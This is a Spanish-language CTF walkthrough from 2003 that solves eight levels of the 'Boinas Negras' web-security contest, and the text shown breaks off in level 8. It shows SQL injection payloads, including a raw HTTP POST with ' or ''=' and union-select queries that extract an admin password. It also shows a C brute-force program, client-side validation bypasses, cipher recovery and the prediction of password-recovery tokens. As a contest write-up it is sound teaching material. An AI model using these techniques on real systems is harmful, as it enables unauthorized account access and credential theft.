=-=
Boinas Negras: una solución al concurso
=-=

-= Fecha Publicación: 25.02.2003 =-

Román Medina-Heigl Hernández

<roman@rs-labs.com>

ÍNDICE DE CONTENIDOS

--[Introducción]

"Boinas Negras" ha dado nombre al concurso elaborado por Instisec y celebrado recientemente. Este artículo es resultado de mi experiencia como concursante del mismo. A lo largo de este texto trataré de relatar y discutir las distintas pruebas (o retos -del inglés "challenge"-) así como las soluciones tomadas para la resolución completa del concurso.

El concurso se ubicó en:
http://www.boinasnegras.com/

Constaba de 10 niveles. En cada uno de ellos se trataba de averiguar un usuario y contraseña, para poder pasar al nivel siguiente (aunque hay excepciones, tal y como veremos más adelante).

Los tres primeros concursantes que lograron resolver todas las pruebas fueron:

mandingo	07/05/2002 21:18:00
Out	07/05/2002 21:55:28
Vaijira	08/05/2002 2:55:15

El que escribe estas líneas quedó en un modesto noveno puesto, a tan sólo 14 horas de la finalización del ganador. Esto da una idea de cómo trascurrió la finalización del concurso: demasiado “apretada”.

Los “ganadores”*(1)* debían aportar documentación a la Organización donde se explicara al detalle cómo habían conseguido superar las distintas pruebas. De hecho, este texto fue escrito con esa finalidad y presentado a la Organización originalmente el 10.05.2002 (un par de días después de que consiguiera resolver el concurso). El concurso realmente acabaría cuando 25 personas consiguieran acabarlo con éxito. Por esta razón mi idea desde un principio fue documentarlo lo mejor posible de forma que pudiera servir como tutorial tras la finalización del mismo.

Sin embargo, fue tal el éxito de Boinas Negras que la Organización decidió dejar on-line el reto durante un tiempo de forma que la gente pudiera seguir divirtiéndose. A petición de la Organización decidí retrasar la publicación de este artículo ya que estaba demasiado reciente el concurso y aún había gente enzarzada con las últimas pruebas y llevaba poco tiempo peleándose con ellas.

El tiempo pasó y aproximadamente un mes después me puse en contacto con la Organización para informarles de que iba a publicar mi documentación. Una vez más me pidieron que demorara la publicación e insinuaron que deseaban dejar las pruebas on-line al menos durante un mes más. Yo accedí.

Finalmente han pasado ocho largos meses y creo que ha sido tiempo suficiente. La penúltima prueba ha desaparecido de la web y el interés por lo que no es más que un simple juego ha decaído mucho e incluso hay mucha gente que lo ha abandonado al haber quedado atascado en alguna prueba.

Para toda esta gente que se quedó en el camino, para todos los que consiguieron superar con éxito todas las pruebas y quisieran contrastar soluciones, para los que no pudieron disfrutar de la ya extinguida penúltima prueba, para los que ni siquiera comenzaron el concurso pero tienen grandes ganas de aprender. A todos ellos va dedicado este texto.

(1) La Organización entiende por “ganador” todo aquel que consiga superar los diez niveles del concurso.

--[Nivel 1]

Este nivel es más de ingenio e idea feliz que otra cosa. Debemos averiguar una contraseña.

Lo primero que se nos ocurre es mirar el código fuente pero en principio no vemos nada extraño. En mi caso también probé otras técnicas clásicas, como inyectar sentencias SQL, pero no funcionó: los tiros no iban por ahí. Era algo más simple.

Si nos fijamos, cuando introducimos una contraseña incorrecta el sistema nos da el siguiente mensaje:

"La password es incorrecta"

Pues bien, ¡hay que interpretarlo al pie de la letra! Es decir, probamos como contraseña: *"incorrecta"*.

No es la solución final pero sabemos que andamos cerca ya que esta vez el sistema nos responde con un críptico mensaje hablando de "lo visible y lo invisible" en vez del mensaje de error habitual. Deducimos que falta algo "invisible" para completar la password. Recordamos que la palabra "incorrecta" estaba en negrita, y efectivamente, si nos vamos al fuente HTML tenemos la solución:

Solución: *incorrecta*

--[Nivel 2]

El nivel anterior era un poco tonto, ¿verdad? Aquí ya empezamos a entrar en materia, aunque con tranquilidad. Vamos, que este nivel sigue siendo bastante sencillo. Ummm, para qué engañarnos, la verdad es que está chupado :-)

En este caso el sistema de autentificación es un applet de Java. Los fuentes de Java (*.java*) se compilan resultando un fichero *.class*. Pero a diferencia de otros lenguajes el fichero "compilado" resultante contiene la gran mayoría del código fuente original, y por tanto, a partir del .class podemos obtener fácilmente el .java correspondiente. Y claro, si tenemos el fuente podemos ver perfectamente lo que hace, y como no, la contraseña usada. En la práctica existen programas llamados de "ofuscación" cuya función es "empañar" el código fuente para que sea más difícil su lectura a un potencial ladrón de código. Por ejemplo, eliminan todos lo comentarios del fuente, sustituyen los nombres de variables por otros al azar sin sentido, y en definitiva toda argucia que haga más difícil seguir el flujo del programa e interpretar el código, sin afectar a la funcionalidad del mismo.

Mirando el fuente HTML de la prueba observamos que la llamada al applet es algo como:

```
    <applet code="PasswordApplet.class" archive="none" name="Applet"
width="350" height="30" VIEWASTEXT id="Applet">
```

Si consultamos "The APPLET Tag":
http://java.sun.com/products/jdk/1.1/docs/guide/misc/applet.html

vemos que el applet está contenido en un archivo, en este caso llamado "none".

De hecho, si intentamos:
http://www.boinasnegras.com/autenticacion/nivel2/PasswordApplet.class

el archivo no existe. Luego estará contenido en el archivo:
http://www.boinasnegras.com/autenticacion/nivel2/none

Miramos el .class con algún decompilador (en mi caso he usado Decafe Pro 3.9). La función *Comprobar()* termina así:

```
return tPassword.getText().equals("SecurityException");
```

Luego la función es exitosa cuando la clave que introducimos es la misma que la de la cadena que aparece en dicha línea. Por tanto, ahí tenemos la clave.

Solución: *SecurityException*

--[Nivel 3]

Este nivel es bastante más técnico que el anterior y va a poner a prueba nuestros conocimientos de programación.

Tenemos una página HTML "encriptada" (hasta lo que se puede) con un programita llamado "HTMLock".

Es curioso. Para los que le interese echarle un vistazo podéis bajaros la versión 1.8.1 de la página web de Atrise:
http://www.atrise.com/htmlock/index.php

Si la página está "encriptada", ¿cómo es que el navegador la muestra correctamente? ¿Cómo podemos "desencriptar" la página nosotros? Bien, el esquema de la página es algo así como (pseudocódigo):

```
variable=<página encriptada>
desencriptar(variable)
```

Es decir, la primera parte de la página contiene la página "real" encriptada (lo que en realidad muestra el navegador). La siguiente y última parte contiene la rutina de "desencriptación" en JavaScript. El navegador ejecuta dicha rutina, y va desencriptando y generando la página en tiempo real. Para ello hace uso del método document.write() de JavaScript.

El problema es que al ser generada la página dinámicamente (a partir del texto "encriptado") si en el navegador hacemos click en "ver código fuente" lo que vemos es la función en JavaScript con el texto encriptado y la rutina de desencriptación, en lugar de la página real. El navegador interpreta en tiempo de ejecución el código HTML generado en los document.write() de forma que dicho HTML no queda plasmado como código fuente de la página y por tanto no se puede visualizar (en principio).

(nota: en realidad se usa document.writeln(), pero me gusta simplificar algunas explicaciones para que se entiendan ciertos conceptos mejor).

¿Qué hacer pues? Por supuesto lo más fácil para "desencriptar" eso es usar el propio código JavaScript incluido en la página. Habrá que introducir alguna pequeña modificación en la página encriptada para tener acceso al código HTML de la página real. Esto lo podemos hacer de múltiples maneras. A modo de ejemplo aquí tenéis dos posibles. Ambas son modificaciones en la función *HTMLock()*:

a) Imprimir la página real en una ventana aparte de forma que podamos usar "ver código fuente" en esa otra ventana.

Para ello simplemente hay que repasar la función y añadir todo lo que document.write imprime a una variable. Ejemplo:

```
todoText=todoText+s;
document.writeln(s)
```

Y al final de la función añadir algo como lo siguiente:

```
// creamos ventana
var photoWin =
 window.open('gg.htm','800x600','toolbar=yes,status=yes,scrollbars=yes,
   location=yes,menubar=yes,directories=yes,width=800,height=600');

// escribimos el contenido de la página real en nuestra nueva ventana
photoWin.document.write(todoText);
photoWin.document.close();
photoWin.focus();
```

b) Añadir al principio de la función lo siguiente:

```
document.write('<textarea rows="30" cols="120">');
```

Con esto hacemos que el navegador abra un objeto "textarea" y muestre la página real en él como texto plano con lo cual vemos directamente el fuente sin interpretar.

Por cierto, os daréis cuenta de que en todos mis párrafos anteriores he usado la palabra "encriptación" entre comillas. Sólo quería hacer hincapié en que esto no es una encriptación propiamente dicha, sino más bien una simple codificación.

Seguimos con la prueba. Echemos un vistazo al código obtenido:

(nota: he obviado las partes que no son de interés)

```
var base = "0123456789abcdefghijklmnopqrstuvwxyz";

var pass = "";
var n = 4294967297;
var y = 0;
var f= new Array();
var p= new Array();

function autenticar(formulario)
{

for (x=0; x<36; x++) {
 y = 1+(x<<8);
 f[x]=(y*y*y)%n;
}

pass = formulario.pwd.value;

if (validapass(pass))
 window.location=pass+".asp";
else {
 alert("La contraseña no es válida");
 window.location.reload();
}
}

function validapass(pass)
{
 var lpass=pass.length
 for (l=0; l<lpass; l++)
       p[l]=pass.charAt(l)

 var code=0;
 for (y=0; y<lpass; y++){
       for(x=0; x<36; x++){
             if ( p[y]==base.charAt(x) ){
                   code+=f[x];
                   code*=(y+1);
             }
       }
 }

 if (code == 425581634525)
       return true;
 else
       return false;
}
```

Se ve lo que hace el código, ¿no? Primero valida la contraseña introducida y si es correcta eres redirigido a otra página con el mismo path de la actual y cuyo nombre es dicha password más la extensión .asp. Esta última página nos dará paso al siguiente nivel.

La rutina de validación funciona de la siguiente forma:

- cada carácter se corresponde con un valor numérico asignado mediante la función matemática f[x]. En realidad para JavaScript 'f' es un array cuyos valores se generan al comienzo de la función autenticar().
- existe una variable acumuladora llamada 'code' que va sumando los valores de f asociados a cada uno de los caracteres de la contraseña introducida, pero multiplicados por un factor variable.
- dicho factor depende de la posición del carácter dentro de la contraseña.

Si nuestra contraseña es "ABC" al final tenemos algo como:

code = { [f(A)*1 + f(B)] * 2 + f(C) } * 3

Para que la validación sea correcta la variable 'code' debe valer al final de todo el proceso 425581634525.

¿Cómo resolver esto? Primero analicemos el algoritmo de generación del código y pongamos a prueba nuestros conocimientos matemáticos. Veamos: si la clave tuviera longitud N al final tendríamos algo como:

code = { } * N

Luego el código resulta divisible por N. Si jugamos con el valor 425581634525 y vamos probando diferentes valores nos daremos cuenta de que 'code' casi exclusivamente es divisible por 5, luego:

N = 5 (suposición)

En realidad esto no tiene por qué ser cierto. De hecho, el código es divisible por 1 también (como es lógico), pero si N=1 el código buscado debería coincidir con alguno de los valores de f[x] y no lo hace. Yo probé hasta 15, si no recuerdo mal, y aparte del 1, el 5 resultó ser el único factor posible. Luego a priori no parece mala nuestra suposición, y va a simplificar y optimizar el código que a continuación escribiremos para sacar el password.

Dicho código utilizará fuerza bruta, es decir, generará todos los passwords posibles de 5 caracteres y comprobará si cumplen la condición de igualdad del código, es decir, que de la cantidad buscada.

Sin más dilaciones os presento a mi pequeño engendro :-) Lo he hecho en C, compilado con el gcc en una máquina Linux. El programa en sí es simple, aunque hay que tener cuidado con los tipos de datos utilizados, ya que las cantidades que vamos a manejar son números de muchas cifras. Un "double" será suficiente en este caso. Los valores de f[x] que aparecen “hardcodeados” fueron calculados desde JavaScript.

```
roman@goliat:~/hack/instisec/nivel3 > cat brute2.c
/* Brute force para Boinas Negras. Nivel 3. (c) RoMaNSoFt, 2002 */
/* Compilar:   cc -o brute2 brute2.c */

#include <stdio.h>

/* Variables globales */
double f[36];
char *base = "0123456789abcdefghijklmnopqrstuvwxyz";
```

```
/* Validacion de contraseña */
int validapass(char *pass) {
   int lpass, l, x, y;
   double code=0;

   for (y=0; y<5; y++) {
      for(x=0; x<36; x++) {
         if ( pass[y]==base[x] ) {
            code+=f[x];
            code*=(y+1);
         }
      }
   }

   if (code == 425581634525.0) {
      printf("Password: %s\n", pass, code);
      return 1;
   } else
      return 0;
}


int main() {
   int i1, i2, i3, i4, i5;
   char pw[6];

   f[0]=1.0;
   f[1]=16974593.0;
   f[2]=135005697.0;
   f[3]=454756609.0;
   f[4]=1076890625.0;
   f[5]=2102071041.0;
   f[6]=3630961153.0;
   f[7]=1469256960.0;
   f[8]=12589055.0;
   f[9]=3656588031.0;
   f[10]=3911982590.0;
   f[11]=879436028.0;
   f[12]=3249546235.0;
   f[13]=2533041913.0;
   f[14]=3125553655.0;
   f[15]=832777460.0;
   f[16]=50343921.0;
   f[17]=878916334.0;
   f[18]=3419157995.0;
   f[19]=3476764903.0;
   f[20]=1152400354.0;
   f[21]=841694941.0;
   f[22]=2645311960.0;
   f[23]=2368947410.0;
   f[24]=113264587.0;
   f[25]=273894084.0;
   f[26]=2951499197.0;
   f[27]=3951775925.0;
   f[28]=3375387564.0;
   f[29]=1322997410.0;
   f[30]=2190236056.0;
   f[31]=1782799501.0;
   f[32]=201351041.0;
```

```
    f[33]=1841521269.0;
    f[34]=2509006184.0;
    f[35]=2304469082.0;

    pw[5]='\0';
    for (i1=0; i1<36; i1++) {
       pw[0]=base[i1];
       for (i2=0; i2<36; i2++) {
          pw[1]=base[i2];
          for (i3=0; i3<36; i3++) {
             pw[2]=base[i3];
             for (i4=0; i4<36; i4++) {
                pw[3]=base[i4];
                for (i5=0; i5<36; i5++) {
                   pw[4]=base[i5];
                   validapass(pw);
                }
             }
          }
       }
    }
}
roman@goliat:~/hack/instisec/nivel3 > cc -o brute2 brute2.c
roman@goliat:~/hack/instisec/nivel3 > ./brute2
Password: 5hb1q
Password: h5b1q
```

Hemos obtenido dos soluciones. Ambas son válidas desde el punto de vista de la función que valida la contraseña. Pero la página "5hb1q.asp" no existe luego la contraseña buscada es la segunda (efectivamente comprobamos que "h5b1q.asp" sí existe).

***Solución**: h5b1q*

Algunos enlaces consultados:

* Operadores de JavaScript
http://personal.redestb.es/deangel/sjs615.htm

* charAt syntax (manual JavaScript)
http://developer.netscape.com/docs/manuals/js/core/jsref15/string.html

* String Handling: Using charAt and indexOf
http://www.pageresource.com/jscript/jstring1.htm

--[Nivel 4]

Una vez más se nos presenta un formulario donde hay que introducir usuario y contraseña. No tenemos ninguna pista más.

Lo primero que se nos ocurre es probar a introducir caracteres "raros", como las comillas simples ("'"), punto y coma (";"), tilde invertida ("`") etc. Estos caracteres suelen tener un significado especial en algunos escenarios.

Nos encontramos con la primera barrera: la página contiene código JavaScript que chequea los caracteres introducidos y sólo deja pasar los típicos caracteres alfanuméricos (a-z, A-Z, 0-9):

```
function Validar(formulario)
{
 // Login
 var expreg = /\W/i;
 var campo = formulario.login;

 if ( campo.value == "" || expreg.test(campo.value) )
 {
       alert("Introduzca un valor válido para el campo \"Nombre de
       usuario\".\nCaracteres permitidos: a-zA-Z0-9.");
       campo.focus();
       return false;
 }

 // Password
 var expreg = /\W/i;
 var campo = formulario.pwd;

 if ( campo.value == "" || expreg.test(campo.value) )
 {
       alert("Introduzca un valor válido para el campo
       \"Contraseña\".\nCaracteres permitidos: a-zA-Z0-9.");
       campo.focus();
       return false;
 }

 return true;
}
```

Esta función se reusará en los siguientes niveles así que el estudio que aquí hagamos será válido para los siguientes retos.

Tenemos un caso típico de validación en el lado del cliente. Como veremos esto constituye una grave vulnerabilidad ya que es muy fácil de esquivar. ¡Nunca debemos confiar en la validación en la parte del cliente! El servidor debería hacer estas comprobaciones, si lo que buscamos es un sistema seguro.

Una forma simple de "saltarnos" esa "protección" (también entre comillas ;-)) es añadir un "return true;" al principio de la función, o bien simplemente borrar todas las líneas de la función, excepto la última.

Pero en este caso no lo vamos a hacer así. Simplemente construiremos las peticiones HTTP y se las inyectaremos al servidor directamente mediante "telnet" al puerto 80. Al hacerlo así no pasamos

a través de ningún filtro JavaScript: estamos inyectando los datos del formulario directamente al servidor. Resultará instructivo ;-)

Por ejemplo, vamos a probar a introducir el usuario "peri" y la contraseña "palo":

```
roman@goliat:~ > telnet www.boinasnegras.com 80
Trying 217.76.130.223...
Connected to www.boinasnegras.com.
Escape character is '^]'.
POST /autenticacion/nivel4/default.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/msword, */*
Referer: http://www.boinasnegras.com/autenticacion/nivel4/
Accept-Language: es
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461)
Host: www.boinasnegras.com
Content-Length: 31
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQGGQGXSG=PBGKFHMDFHPDFHPIPLAHLDHL

login=peri&pwd=palo&modo=Entrar

[2 retornos de carro]
```

Y así vemos el resultado devuelto por el servidor, limpio, sin ser interpretado por ningún navegador. De paso podemos aprender algo sobre el protocolo HTTP aunque no es el objetivo de este artículo.

Como lo estamos haciendo "a mano" hay que tener cuidado de "url-encodear" los datos, y de corregir el "Content-Length", que será: 23+login_size+pwd_size. La cookie y las demás cabeceras se pueden obtener fácilmente con la ayuda de un sniffer (para Windows mi preferido es Sniffer Pro, de NAI).

¿Cómo pasar al siguiente nivel sin saber el usuario y la contraseña? Recurrimos al viejo truco de inyección SQL ("SQL injection" en la literatura anglosajona). En resumidas cuentas, si el servidor internamente valida contra una base de datos de la siguiente forma (o análoga):

*SELECT * FROM auth_table WHERE user='$usuario' AND pwd='$password';*

donde $usuario y $password son variables cuyo contenido podemos manipular (en este caso vienen dadas por las variables de la petición POST de HTTP, o lo que es lo mismo, el formulario de autenticación de la página) es posible asignar unos valores tales que la petición SQL siempre devuelva verdadero.

Supongamos:

$usuario = ' or '' = '
$password = ' or '' = '

Entonces la "query" de SQL quedaría:

*SELECT * FROM auth_table WHERE user='' or '' = '' AND pwd='' or '' = '';*

lo cual siempre es cierto, ya que *'' = ''* siempre lo es.

(Importante: nótese que todas las comillas que aparecen en la anterior sentencia son comillas simples).

Por tanto, ya tenemos los valores de usuario y contraseña que debemos probar. Como vamos a usar HTTP directamente hace falta tener en cuenta un pequeño detalle: un espacio se codifica ("URL-encoding") como %20.

Solución:

```
POST /autenticacion/nivel4/default.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, */*
Referer: http://www.boinasnegras.com/autenticacion/nivel4/
Accept-Language: es
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461)
Host: www.boinasnegras.com
Content-Length: 51
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQGQQGNTC=FDHJNIGANBPFIEFPMIEMDJEJ

login='%20or%20''='&pwd='%20or%20''='&modo=Entrar
```

--[Nivel 5]

Estamos ante otra página de autenticación similar a la del nivel anterior así que procedemos de manera similar empezando por evitar el chequeo JavaScript del lado del cliente.

Es una tarea ardua construir la petición HTTP manualmente para cada prueba o experimento que queremos hacer, así que dejaremos que una programa haga el trabajo sucio.

Se tratá de Proxomitron 4.2, un programa excelente que funciona como un proxy local y que intercepta las peticiones HTTP pudiendo "loguearlas" (registrarlas) e incluso modificarlas a nuestro gusto:
http://proxomitron.org/

Lo que haremos será modificar la página del formulario para que no haga el chequeo de caracteres válidos (tal y como se ha comentado en el apartado anterior). Proxomitron se encargará del resto de "protecciones" (comprobación del campo "Referer", por ejemplo).

Así pues comenzamos a introducir cadenas malévolas en el formulario:

```
login=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
pwd=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```

El servidor nos muestra un mensaje de error como:

```
Error de sintaxis en la expresión de consulta 'username='(42 4(/6 ,-%2
(7/'%2 (7#/'( 0.4$1-,/ 094+/")83#/;"' AND password='(42 4(/6 ,-%2 (7/'%2 (7#/'(
0.4$1-,/ 094+/")83#/;"';'.
/autenticacion/nivel5/funciones.inc, line 12
```

Es decir, hace referencia a un fichero "include". Lo miramos:
http://www.boinasnegras.com/autenticacion/nivel5/funciones.inc

Obtenemos:

```
<%
Public Function Autenticar(username,password)
 Dim objConnect, rs
 Dim strSQL

 Set objConnect = Server.CreateObject( "ADODB.Connection" )
 objConnect.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="
             &Server.MapPath("torneo.mdb") &";"
 strSQL = "SELECT IdCliente "_
            &"FROM Clientes "_
            &"WHERE username='"& username &"' AND password='"& password
             &"';"
 'Response.Write strSql
 Set rs = objConnect.Execute (strSQL)
 If Not rs.EOF Then
       Autenticar = rs(0)
 Else
       Autenticar = 0
 End If

 rs.Close
 objConnect.Close
 Set objConnect = Nothing
 Set rs = Nothing

End Function


%>
```

De esta forma vemos cómo el servidor realiza internamente la comprobación de usuario y contraseña. Lo hace de manera similar a la expuesta en el nivel anterior. Siguiendo la sintaxis anterior sería:

SELECT IdCliente FROM Clientes WHERE username='$username' AND password='$password';

Luego resulta lógico intentar el truco de: ' or " = '

Si lo intentamos recibimos otro error. En el mismo se muestra el contenido de las variables $username y $password y ¡es diferente al introducido por nosotros en el formulario!

¿Qué está ocurriendo? Simple: hay otra función anterior a ésta que procesa los datos del formulario y les aplica cierto algoritmo de encriptación de forma que el '" or " = '" no resulta tal en la query y por tanto no funciona.

Confirmemos nuestras sospechas: introduzcamos un usuario y contraseña (aparentemente) válidos. Para ello nos fijamos en el código ASP anterior y vemos que la página accede por ODBC a una base de datos en Microsoft Access, la cual nos podemos bajar de:

http://www.boinasnegras.com/autenticacion/nivel5/torneo.mdb

Contiene lo siguiente:

IdCliente	Username	Password	Nombre	Apellidos	Provincia
1	/'6%	/d!s0z*c	_'6%10	_ 2303n_ ?8-=	_473<-
2	#<>	&%"6c~ :	_<>,,	_4)0 ,4w_(>(2&(	_473<-
3	?92%	?92%mqv	_92%<$'%	_4="=,4w%(d_.;'",+	_473<-
4	=<>	.=jq>%*3	_<>.!,!	_4=5::n_ =-	_473<-
5	/'2/	$4!&==v	_'2/6 =4.	_0!/4'*2;m(!s-(v_)>	_473<-
6	<8	r$$$d{~	_<0)4,"	_9% ',4w%(l 6/-94'	_473<-
7	#:;/	#; 1epv	_:;/	_0 59,7	_4=54i-%47l 6a_3 #6:',
8	$4!5<'	&%)pe9	_4!5<'	_4?%0:n_$;%(?	_'6/&,

Si miramos la base de datos vemos caracteres muy raros en ella. Por ejemplo:

User: <8
Pass: r$$$d{~

No resulta muy lógico que un usuario se llame "<8", ¿verdad? Si probamos a autentificarnos vemos que no son datos válidos. Nuestras sospechas se confirman: los datos introducidos en el formulario se "transforman" en otros, y la base de datos que tenemos contiene usuarios reales pero cuyos datos están "transformados".

Pero, ¿qué algoritmo de encriptación sigue? Podría ser un XOR con alguna clave, que es lo más simple. Habrá que estudiar el modus operandi del algoritmo ;-)

Para ello habrá que hacer uso del tradicional método de "prueba y error", que aplicado a nuestro caso consiste en ir introduciendo cadenas conocidas que produzcan un error del servidor, y luego ver la transformación que ha sufrido la misma en el mensaje de error. Para ello, introduciremos una comilla simple ("'") en alguno de los campos, ya que de esa forma la "query" SQL resultará inválida. De esta forma podremos ver la trasposición que sufren los caracteres.

Probaremos cosas como:

user: to
pass: norula"

user: aaaaaa
pass: aaaaaaaa'

user: abcde
pass: norula'

etc.

Como no quería romperme mucho la cabeza lo que hice fue ir construyéndome una tabla Excel que asociaba a cada carácter original su correspondiente carácter "transformado". Era tedioso ya que un mismo carácter en diferente posición dentro del usuario o contraseña se transformaba en caracteres diferentes. Es decir, la posición afectaba. Pero bueno, con un poco de paciencia se hace. Veamos el resultado:

	1	**2**	**3**	**4**	**5**	**6**	**7**	**8**
a	(	4	2	" "	4	(	"/"	6
b	"+"	7	1	#	7	"+"	,	5
c	*	6	0	"	6	"*"	"-"	4
d	"-"	1	7	%	1	"-"	"*"	3
e	,	0	6	$	0	,	"+"	2
f	"/"	3	5	"""	3	"/"	(	1
g	.	2	4	"&"	2	.	)	0
h	!	"="	;	)	"="	!	&	?
i	" "	<	:	(	<	" "	"""	>
j	#	?	9	"+"	?	#	$	"="
k	"	>	8	*	>	"	%	<
l	%	9	?	"-"	9	%	"	;
m	$	8	>	,	8	$	#	:
n	"""	;	"="	"/"	;	"""	" "	9
o	&	:	<	.	:	&	!	8
p	9	%	#	1	%	9	>	"""
q	8	$	"	0	$	8	?	&
r	;	"""	!	3	"""	;	<	%
s	:	&	" "	2	&	:	"="	$
t	"="	!	"""	5	!	9	:	#
u	<	" "	&	4	" "	<	;	"
v	?	#	%	7	#	?	8	!
w	>	"	$	6	"	>	9	" "
x	1	"-"	"+"	9	"-"	1	6	"/"
y	0	,	"*"	8	,	0	7	.
z	3	"/"	)	;	"/"	3	4	"-"
0	y	e	c	q	e	y	~	g
1	x	d	b	p	d	x		f
2	{	g	a	s	g	{	|	e
3	z	f	`	r	f	z	}	d
4	}	a	g	u	a	}	z	c
5	|	`	f	t	`	|	{	b
6		c	e	w	c		x	a
7	~	b	d	v	b	~	y	`
8	q	m	k	y	m	q	v	o
9	p	|	j	x	|	p	w	n

Una vez hecho esto basta con usar nuestra tabla para transformar la base de datos en algo legible.

Una última trampa: si el usuario o contraseña encriptado contienen una comilla simple (""") tendremos problemas ya que se produce una query SQL malformada (dicho carácter tiene un significado especial). Evitamos por tanto utilizar login / pass reales que contengan el carácter """.

Solución: *jim / opqw67nm*

--[Nivel 6]

Debemos averiguar la contraseña del usuario "Freddy". Para ello contamos con un sistema que nos permite entre otras cosas crearnos un usuario. También observamos que hay un sistema de recuperación de contraseña que envía la contraseña de un usuario a su e-mail.

Comenzamos probando eso: nos creamos nuestro usuario, con una dirección de correo válida (y a ser posible que vaya rápido) y utilizamos la recuperación de contraseña. Nos llegará un mail que nos dice que para ver la contraseña hay que acceder a una página como:

http://www.boinasnegras.com/autenticacion/nivel6/recuperar.asp?37375,1089699074

Cualquiera podría acceder a esa página y conocer nuestra contraseña siempre que sepa los números exactos que se pasan como parámetros al .asp, ¿cierto? Menos mal que sólo lo conocemos nosotros, ¿no? Ummm, ¡error! :-) ¿Y si alguien los "adivinara"?

Estudiamos la generación de esos números. Para ello pinchamos varias veces (y lo más rápido posible) en "recuperar contraseña", introduciendo nuestro usuario creado. Recibimos

http://www.boinasnegras.com/autenticacion/nivel6/recuperar.asp?37375,1271990741
http://www.boinasnegras.com/autenticacion/nivel6/recuperar.asp?37375,1272569444
http://www.boinasnegras.com/autenticacion/nivel6/recuperar.asp?37375,1273148148

Las diferencias de números de secuencia son de 578703 y 578704 respectivamente. Luego esto nos indica que estos números no son arbitrarios sino que guardan relación. Si comprobamos los enlaces sólo el último funciona, luego deducimos que sólo la última petición de recuperación de contraseña tiene vigencia. Esto dificultará nuestra tarea de averiguar la contraseña de Freddy, ya que cualquiera que use el sistema de recuperación para Freddy invalidará las peticiones anteriores para el mismo usuario.

Supongamos que el servidor hace cosas distintas dependiendo de los usuarios. Nos creamos un par de usuarios más (ya tenemos un total de 3) y pedimos recuperar la clave de (en este orden) user1, user2, user3, user1 (por segunda vez). Todo esto lo hacemos consecutivamente y lo más rápido posible, para minimizar la probabilidad de que otro concursante haga otra petición y nos varíe la sucesión de números de secuencia obtenidos.

http://www.boinasnegras.com/autenticacion/nivel6/recuperar.asp?37375,1667708333

http://www.boinasnegras.com/autenticacion/nivel6/recuperar.asp?37375,1668171296
http://www.boinasnegras.com/autenticacion/nivel6/recuperar.asp?37375,1668634259
http://www.boinasnegras.com/autenticacion/nivel6/recuperar.asp?37375,1669097222

Esta vez las diferencias entre peticiones son siempre de 462963. ¡Bingo!

Procederemos entonces en este orden:
1.- Hacemos petición de contraseña de un usuario nuestro.
2.- Hacemos petición de contraseña del usuario Freddy.
3.- Miramos rápidamente nuesto correo y obtenemos el enlace (URL).
4.- Sumamos 462963 al número de la URL y obtengo la URL de Freddy, incluso sin tener acceso a su correo.
5.- Accedemos rápidamente a la URL calculada, antes de que otro concursante haga que caduque.

Y así lo hacemos. Obtengo la URL de mi usuario:
http://www.boinasnegras.com/autenticacion/nivel6/recuperar.asp?37375,1787615741

Calculo la que sería la de Freddy:
http://www.boinasnegras.com/autenticacion/nivel6/recuperar.asp?37375,1788078704

Y accediendo a esa dirección obtengo su contraseña.

Solución: "Su contraseña es **********", reza dicha página ;-)

--[Nivel 7]

Estamos ante otro nivel de inyección SQL, aunque algo más avanzada que la del nivel 4. Esta vez no nos valdrá el viejo truco del ' or "='. ¡Vaya por Dios! :-(

Debemos entrar al sistema como "administrador". Pero no conocemos su contraseña. Probamos a inyectar SQL. Por ejemplo:

User: administrador' or "=" or ""!="
Pass: " --

Nos devuelve el mensaje de error siguiente:

```
' having 1=1--
La columna 'Usuarios.idusuario' de la lista de selección no es válida,
porque no está contenida en una función de agregado y no hay cláusula GROUP BY.
```

Lo cual nos dice que existe una tabla llamada "Usuarios" y que una de sus columnas es "idusuario".

Así viendo los errores podemos ir obteniendo información.

Otras queries con las que experimentar, aunque la mayoría no me valieron:

- ' union select '','',@@version
*- administrador' union select * where ''='*
*- administrador' union select * from usuarios where ''='*
*- ' or ''='' union select * from usuarios where ''='*

Hagamos otro intento:

' union select pwd,1,1,1 from Usuarios--

que nos devuelve:

```
  Error de sintaxis al convertir el valor nvarchar '78f78fa987fa' para una
columna de tipo de datos int.
```

Si afinamos un poco más tendremos la solución:

'union select pwd,1,1,1 from Usuarios where login = 'Administrador'--

que nos dará la contraseña buscada:

```
  Error de sintaxis al convertir el valor nvarchar '*************' para una
columna de tipo de datos int.
```

Solución: **********

Algunos enlaces consultados:

* Direct SQL command injection:
http://www.owasp.org/asac/input_validation/sql.shtml

--[Nivel 8]

Este nivel es bastante curioso. Nos dicen que el reto consiste en pasar directamente al nivel 10 (es decir, saltándonos un nivel). No hay ni usuario ni contraseña ni nada. Por tanto, lo único que se nos ocurre que puede influir como variable externa es la cookie.

Echémosle un vistazo:

```
Cookie: Nivel=15DA1FDC79921CB05B8BA2F4C244E3BB;
        ASPSESSIONIDQGGQTADC=KICODDDCADGNDJCIOFFIBBHE;
        ASPSESSIONIDGGGGGWCK=FHBHCDGCBCFGLPFEJCDNLOAF;
        ASPSESSIONIDQQGGUQFO=PJKJKFJCAPCDHFDDBCMGNHII
```

¡Bingo! El nivel se especifica en la cookie pero, ¿cómo? Sólo vemos una ristra de números sin sentido. Nuestro gozo a un pozo :-/

Está claro que ahí hay algo encriptado, pero sólo tenemos una cadena con 32 dígitos hexadecimales. Con esas características hay muchas posibilidades. Por ejemplo, es razonable pensar que se pudiera tratar de un "hash" MD5.

<culturilla_general>
